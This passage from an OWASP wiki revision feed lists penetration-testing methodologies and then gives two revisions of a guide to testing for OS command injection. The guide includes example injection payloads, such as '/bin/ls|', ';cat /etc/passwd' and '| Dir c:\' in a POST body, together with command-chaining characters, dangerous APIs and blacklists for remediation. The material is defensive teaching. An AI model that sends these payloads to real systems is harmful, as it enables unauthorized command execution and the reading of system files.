Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, rationale of testing and recommended testing tools and usage. &lt;br /&gt;
&lt;br /&gt;
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
&lt;br /&gt;
== PCI Penetration testing guide ==&lt;br /&gt;
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.&lt;br /&gt;
PCI also defines Penetration Testing Guidance. &lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing guidance ===&lt;br /&gt;
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.&lt;br /&gt;
&lt;br /&gt;
* Penetration Testing Components&lt;br /&gt;
* Qualifications of a Penetration Tester&lt;br /&gt;
* Penetration Testing Methodologies&lt;br /&gt;
* Penetration Testing Reporting Guidelines&lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing Requirements ===&lt;br /&gt;
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3&lt;br /&gt;
* Based on industry-accepted approaches &lt;br /&gt;
* Coverage for CDE and critical systems &lt;br /&gt;
* Includes external and internal testing &lt;br /&gt;
* Test to validate scope reduction &lt;br /&gt;
* Application-layer testing &lt;br /&gt;
* Network-layer tests for network and OS&lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Framework ==&lt;br /&gt;
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes - &lt;br /&gt;
&lt;br /&gt;
* Network Footprinting (Reconnaissance)&lt;br /&gt;
* Discovery &amp;amp; Probing&lt;br /&gt;
* Enumeration&lt;br /&gt;
* Password cracking&lt;br /&gt;
* Vulnerability Assessment&lt;br /&gt;
* AS/400 Auditing&lt;br /&gt;
* Bluetooth Specific Testing&lt;br /&gt;
* Cisco Specific Testing&lt;br /&gt;
* Citrix Specific Testing&lt;br /&gt;
* Network Backbone&lt;br /&gt;
* Server Specific Tests&lt;br /&gt;
* VoIP Security&lt;br /&gt;
* Wireless Penetration&lt;br /&gt;
* Physical Security&lt;br /&gt;
* Final Report - template &lt;br /&gt;
&lt;br /&gt;
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
&lt;br /&gt;
== Technical Guide to Information Security Testing and Assessment (NIST800-115)==&lt;br /&gt;
&lt;br /&gt;
== Information Systems Security Assessment Framework (ISSAF) ==&lt;br /&gt;
&lt;br /&gt;
The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidances.  &lt;br /&gt;
&lt;br /&gt;
The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/ &lt;br /&gt;
&lt;br /&gt;
It covers the area below.&lt;br /&gt;
* Project Management&lt;br /&gt;
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment&lt;br /&gt;
* Assessment Methodology&lt;br /&gt;
* Review Of Information Security Policy And Security Organization&lt;br /&gt;
* Evaluation Of Risk Assessment Methodology&lt;br /&gt;
* Technical Control Assessment&lt;br /&gt;
* Technical Control Assessment - Methodology&lt;br /&gt;
* Password Security&lt;br /&gt;
* Password Cracking Strategies&lt;br /&gt;
* Unix /Linux System Security Assessment&lt;br /&gt;
* Windows System Security Assessment&lt;br /&gt;
* Novell Netware Security Assessment&lt;br /&gt;
* Database Security Assessment&lt;br /&gt;
* Wireless Security Assessment&lt;br /&gt;
* Switch Security Assessment&lt;br /&gt;
* Router Security Assessment&lt;br /&gt;
* Firewall Security Assessment&lt;br /&gt;
* Intrusion Detection System Security Assessment&lt;br /&gt;
* VPN Security Assessment&lt;br /&gt;
* Anti-Virus System Security Assessment And Management Strategy&lt;br /&gt;
* Web Application Security Assessment&lt;br /&gt;
* Storage Area Network (San) Security&lt;br /&gt;
* Internet User Security&lt;br /&gt;
* As 400 Security&lt;br /&gt;
* Source Code Auditing&lt;br /&gt;
* Binary Auditing&lt;br /&gt;
* Social Engineering&lt;br /&gt;
* Physical Security Assessment&lt;br /&gt;
* Incident Analysis&lt;br /&gt;
* Review Of Logging / Monitoring &amp;amp; Auditing Processes&lt;br /&gt;
* Business Continuity Planning And Disaster Recovery&lt;br /&gt;
* Security Awareness And Training&lt;br /&gt;
* Outsourcing Security Concerns&lt;br /&gt;
* Knowledge Base&lt;br /&gt;
* Legal Aspects Of Security Assessment Projects&lt;br /&gt;
* Non-Disclosure Agreement (NDA)&lt;br /&gt;
* Security Assessment Contract&lt;br /&gt;
* Request For Proposal Template&lt;br /&gt;
* Desktop Security Check-List - Windows&lt;br /&gt;
* Linux Security Check-List&lt;br /&gt;
* Solaris Operating System Security Check-List&lt;br /&gt;
* Default Ports - Firewall&lt;br /&gt;
* Default Ports – IDS/IPS&lt;br /&gt;
* Links&lt;br /&gt;
* Penetration Testing Lab Design&lt;br /&gt;
&lt;br /&gt;
== Open Source Security Testing Methodology Manual (OSSTMM) ==&lt;br /&gt;
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. &lt;br /&gt;
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.&lt;br /&gt;
&lt;br /&gt;
OSSTMM includes the following key sections:&lt;br /&gt;
** Operational Security Metrics&lt;br /&gt;
** Trust Analysis&lt;br /&gt;
** Work Flow.&lt;br /&gt;
** Human Security Testing&lt;br /&gt;
** Physical Security Testing&lt;br /&gt;
** Wireless Security Testing&lt;br /&gt;
** Telecommunications Security Testing&lt;br /&gt;
** Data Networks Security Testing&lt;br /&gt;
** Compliance Regulations&lt;br /&gt;
** Reporting with the STAR (Security Test Audit Report)&lt;br /&gt;
&lt;br /&gt;
== Reference ==&lt;br /&gt;
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf&lt;br /&gt;
* http://www.pentest-standard.org/index.php/Main_Page&lt;br /&gt;
* http://www.isecom.org/research/osstmm.html&lt;br /&gt;
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf&lt;br /&gt;
* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf&lt;br /&gt;
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf&lt;br /&gt;
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf&lt;br /&gt;
* https://www.kali.org/&lt;br /&gt;
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
* https://sourceforge.net/projects/isstf/&lt;br /&gt;
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/&lt;br /&gt;
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=242918</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=242918"/>
				<updated>2018-08-29T07:48:58Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: updated PHP command injection&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
When viewing a file in a web application, the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the file name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
== Special Characters for Comand Injection  ==&lt;br /&gt;
The following special character can be used for command injection such as |   ;   &amp;amp;  $  &amp;gt;  &amp;lt; `  \ !&lt;br /&gt;
* cmd1|cmd2   : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
&lt;br /&gt;
* cmd1;cmd2   : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
* cmd1||cmd2  : Command 2 will only be executed if command 1 execution fails.&lt;br /&gt;
* cmd1&amp;amp;&amp;amp;cmd2 : Command 2 will only be executed if command 1 execution succeeds.&lt;br /&gt;
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' &amp;gt; test.sh)&lt;br /&gt;
* 'cmd' : It's used to execute specific command. For example, 'whoami'&lt;br /&gt;
* &amp;gt;(cmd): &amp;lt;(ls)&lt;br /&gt;
* &amp;lt;(cmd): &amp;gt;(ls)&lt;br /&gt;
&lt;br /&gt;
== Code Review Dangerous API ==&lt;br /&gt;
Be aware of the uses of the following API as it may introduce the command injection risks.&lt;br /&gt;
&lt;br /&gt;
Java&lt;br /&gt;
* Runtime.exec()&lt;br /&gt;
* getParameter&lt;br /&gt;
* getRuntime.exec()&lt;br /&gt;
* ProcessBuilder.start()&lt;br /&gt;
* setAttribute  putValue   getValue  &lt;br /&gt;
* java.net.Socket  java.io.fileInputStream   java.io.FileReader&lt;br /&gt;
&lt;br /&gt;
C/C++	&lt;br /&gt;
* system&lt;br /&gt;
* exec&lt;br /&gt;
* ShellExecute&lt;br /&gt;
* execlp&lt;br /&gt;
&lt;br /&gt;
Python&lt;br /&gt;
* exec&lt;br /&gt;
&lt;br /&gt;
* eval&lt;br /&gt;
&lt;br /&gt;
* os.system&lt;br /&gt;
* os.popen&lt;br /&gt;
* subprocess.popen&lt;br /&gt;
* subprocess.call&lt;br /&gt;
&lt;br /&gt;
PHP&lt;br /&gt;
* system&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* proc_open&lt;br /&gt;
* eval&amp;lt;br&amp;gt;&lt;br /&gt;
* passthru&lt;br /&gt;
* proc_open&lt;br /&gt;
* expect_open&lt;br /&gt;
* ssh2_exec&lt;br /&gt;
* popen&lt;br /&gt;
&lt;br /&gt;
Perl&lt;br /&gt;
* CGI.pm&lt;br /&gt;
* referer&lt;br /&gt;
* cookie&lt;br /&gt;
* ReadParse&lt;br /&gt;
&lt;br /&gt;
ASP.NET&lt;br /&gt;
* HttpRequest.Params&lt;br /&gt;
* HttpRequest.Url&lt;br /&gt;
* HttpRequest.Item&lt;br /&gt;
&lt;br /&gt;
== Remediation == &lt;br /&gt;
===Sanitization===&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters or command list should be created to validate the user input.  Characters that were missed, as well as undiscovered threats, should be eliminated by this list.&lt;br /&gt;
&lt;br /&gt;
Genereal blacklist to be included for commannd injection can be  |     ;     &amp;amp;    $    &amp;gt;    &amp;lt;   '    \   !   &amp;gt;&amp;gt;   #&lt;br /&gt;
&lt;br /&gt;
Escape or filter special characters for windows,          ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` &amp;lt;br&amp;gt;Escape or filter special characters for Linux,          { }  ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ]  $ – # ~ ! . ” %  / \ : + , `&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]] &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
* [https://github.com/commixproject/commix Commix]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&lt;br /&gt;
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding&lt;br /&gt;
* https://cwe.mitre.org/data/definitions/78.html&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=242917</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=242917"/>
				<updated>2018-08-29T07:09:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Code Review Dangerous API */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
When viewing a file in a web application, the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the file name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
== Special Characters for Comand Injection  ==&lt;br /&gt;
The following special character can be used for command injection such as |   ;   &amp;amp;  $  &amp;gt;  &amp;lt; `  \ !&lt;br /&gt;
* cmd1|cmd2   : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
&lt;br /&gt;
* cmd1;cmd2   : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
* cmd1||cmd2  : Command 2 will only be executed if command 1 execution fails.&lt;br /&gt;
* cmd1&amp;amp;&amp;amp;cmd2 : Command 2 will only be executed if command 1 execution succeeds.&lt;br /&gt;
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' &amp;gt; test.sh)&lt;br /&gt;
* 'cmd' : It's used to execute specific command. For example, 'whoami'&lt;br /&gt;
* &amp;gt;(cmd): &amp;lt;(ls)&lt;br /&gt;
* &amp;lt;(cmd): &amp;gt;(ls)&lt;br /&gt;
&lt;br /&gt;
== Code Review Dangerous API ==&lt;br /&gt;
Be aware of the uses of the following API as it may introduce the command injection risks.&lt;br /&gt;
&lt;br /&gt;
Java&lt;br /&gt;
* Runtime.exec()&lt;br /&gt;
* getParameter&lt;br /&gt;
* getRuntime.exec()&lt;br /&gt;
* ProcessBuilder.start()&lt;br /&gt;
* setAttribute  putValue   getValue  &lt;br /&gt;
* java.net.Socket  java.io.fileInputStream   java.io.FileReader&lt;br /&gt;
&lt;br /&gt;
C/C++	&lt;br /&gt;
* system&lt;br /&gt;
* exec&lt;br /&gt;
* ShellExecute&lt;br /&gt;
* execlp&lt;br /&gt;
&lt;br /&gt;
Python&lt;br /&gt;
* exec&lt;br /&gt;
&lt;br /&gt;
* eval&lt;br /&gt;
&lt;br /&gt;
* os.system&lt;br /&gt;
* os.popen&lt;br /&gt;
* subprocess.popen&lt;br /&gt;
* subprocess.call&lt;br /&gt;
&lt;br /&gt;
PHP&lt;br /&gt;
* system&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* proc_open&lt;br /&gt;
* eval&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl&lt;br /&gt;
* CGI.pm&lt;br /&gt;
* referer&lt;br /&gt;
* cookie&lt;br /&gt;
* ReadParse&lt;br /&gt;
&lt;br /&gt;
ASP.NET&lt;br /&gt;
* HttpRequest.Params&lt;br /&gt;
* HttpRequest.Url&lt;br /&gt;
* HttpRequest.Item&lt;br /&gt;
&lt;br /&gt;
== Remediation == &lt;br /&gt;
===Sanitization===&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters or command list should be created to validate the user input.  Characters that were missed, as well as undiscovered threats, should be eliminated by this list.&lt;br /&gt;
&lt;br /&gt;
Genereal blacklist to be included for commannd injection can be  |     ;     &amp;amp;    $    &amp;gt;    &amp;lt;   '    \   !   &amp;gt;&amp;gt;   #&lt;br /&gt;
&lt;br /&gt;
Escape or filter special characters for windows,          ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` &amp;lt;br&amp;gt;Escape or filter special characters for Linux,          { }  ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ]  $ – # ~ ! . ” %  / \ : + , `&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&lt;br /&gt;
&lt;br /&gt;
